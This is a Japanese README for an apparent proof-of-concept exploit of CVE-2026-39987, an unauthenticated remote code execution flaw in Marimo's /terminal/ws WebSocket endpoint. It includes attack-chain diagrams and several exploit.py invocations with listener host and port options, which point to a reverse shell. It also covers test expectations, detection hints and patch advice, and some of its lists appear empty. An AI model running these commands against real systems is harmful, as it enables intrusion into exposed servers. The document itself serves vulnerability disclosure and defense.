
CVE-2026-39987の概念実証エクスプロイト。MarimoのターミナルWebSocketエンドポイントにおける事前認証RCEです。未認証のコマンド実行を実証し、脆弱なインスタンスとパッチ適用済みインスタンスの検証テストを含みます。
| プロパティ | 値 |
|---|
| CVE | CVE-2026-39987 |
| 製品 | Marimo |
| 脆弱性 | 事前認証リモートコード実行 |
| 攻撃ベクトル | ネットワーク |
| 認証 | 不要 |
| ユーザー操作 | 不要 |
| CWE | CWE-306 — 重要な機能に対する認証の欠如 |
| 深刻度 | 緊急 (Critical) |
| 修正バージョン | 0.23.0 |
CVE-2026-39987 は、リアクティブなPythonノートブック環境であるMarimoに影響を与える、重大な事前認証リモートコード実行(RCE)の脆弱性です。この脆弱性は、ターミナルWebSocketエンドポイント /terminal/ws に存在します。
脆弱なターミナルエンドポイントは、WebSocket接続を受け入れた後にインタラクティブなPTYを作成します。
概念的には、脆弱なリクエストフローは次のとおりです:
リモートクライアント
|
| WebSocket接続
v
/terminal/ws
|
| 認証検証の欠如
v
WebSocket接続が受け入れられる
|
v
PTYが作成される
|
v
インタラクティブシェル
重要なセキュリティ境界は、認証チェックの欠如です。
任意のコマンド実行を公開するエンドポイントは、認証されていないクライアントがPTY作成ロジックに到達することを許可してはなりません。
このプロジェクトの目的は、管理された環境において、MarimoのターミナルWebSocketエンドポイントに影響を与える認証強制の欠如を実証することです。
セキュリティチームは、このプロジェクトを以下の目的で使用できます:
警告: PoCは、自分が所有するシステム、または明示的にテストを認可されたシステムに対してのみ実行してください。
完全な脆弱性チェーンは次のように要約できます:
1. 攻撃者が露出したMarimoインスタンスを発見
|
v
2. 攻撃者が /terminal/ws に接続
|
v
3. 認証が強制されない
|
v
4. WebSocket接続が受け入れられる
|
v
5. PTYターミナルが作成される
|
v
6. 攻撃者がコマンド実行を獲得
|
v
7. コマンドがMarimoプロセスとして実行される
重大なセキュリティ障害はステップ3で発生します。
Python 3.7+
pip
認可されたターゲットへのネットワークアクセス
# 基本インストール
pip install websocket-client
# フルインストール
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| パラメータ | 型 | 説明 | デフォルト |
|---|---|---|---|
-u, --url | string | ターゲットのMarimoインスタンスのベースURL | 必須 |
--lhost | string | リスナーIPアドレス | 必須 |
--lport | int | リスナーポート(1-65535) | 必須 |
--timeout | int | リスナーのタイムアウト(秒) | 15 |
--retries | int | WebSocket接続の再試行回数 | 3 |
--retry-delay | float | 再試行間の遅延 | 2.0 |
--no-verify-ssl | flag | SSL証明書の検証を無効化 | False |
-v, --verbose | flag | 詳細出力を有効化 | False |
-s, --silent | flag | 出力を抑制 | False |
フェーズ1: 初期化
↓ パラメータの検証
↓ ロギングの設定
フェーズ2: 準備
↓ リスナーの初期化
↓ WebSocket接続の確立
フェーズ3: 検証
↓ ターミナルエンドポイントのテスト
↓ 認証強制の確認
↓ 接続動作の記録
フェーズ4: 実証
↓ 認可されたテストセッションの確立
↓ コマンド実行コンテキストの確認
↓ 検証証拠の収集
フェーズ5: クリーンアップ
↓ ターミナル状態の復元
↓ 接続のクローズ
↓ リソースの解放
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
期待される結果: 脆弱なターミナルエンドポイントが認証されていない接続を受け入れます。
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
期待される結果: 認証制御により接続が拒否されるか、その他の方法で防止されます。
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
期待される結果: タイムアウトが正常に報告されます。
深刻度: 緊急 (Critical) (CVSS 9.3)
複雑度: 低
認証: 不要
影響: リモートコード実行
プロトコル: WebSocket
エンドポイント: /terminal/ws
修正バージョン: 0.23.0
ソースのREADMEは、この問題をCVSS 9.3 Criticalとして分類し、CWE-306、プロトコルとしてWebSocket、影響を受けるエンドポイントとして /terminal/ws を特定しています。
悪用の潜在的な指標には、以下への予期しないWebSocket接続が含まれます:
/terminal/ws
防御側は以下を調査する必要があります:
Marimoを修正済みリリースにアップグレードしてください:
0.23.0 以降
追加の防御的推奨事項は次のとおりです:
/terminal/ws アクティビティについてログを確認してください。CVE: CVE-2026-39987
CWE: CWE-306
深刻度: 緊急 (Critical)
タイプ: 事前認証RCE
プロトコル: WebSocket
エンドポイント: /terminal/ws
認証: 不要
修正: 0.23.0
認可された使用のみ
このプロジェクトは、以下の目的のみに提供されます:
認可されていない使用は固く禁止されており、該当する現地法および国際法に違反する可能性があります。
このプロジェクトは、セキュリティ研究、脆弱性検証、および教育目的のために提供されています。
所有していないシステム、またはテストの明示的な認可がないシステムに対してPoCを使用しないでください。
メンテナーは、誤用、認可されていないテスト、損害、データ損失、またはこのプロジェクトの使用から生じるいかなる結果についても責任を負いません。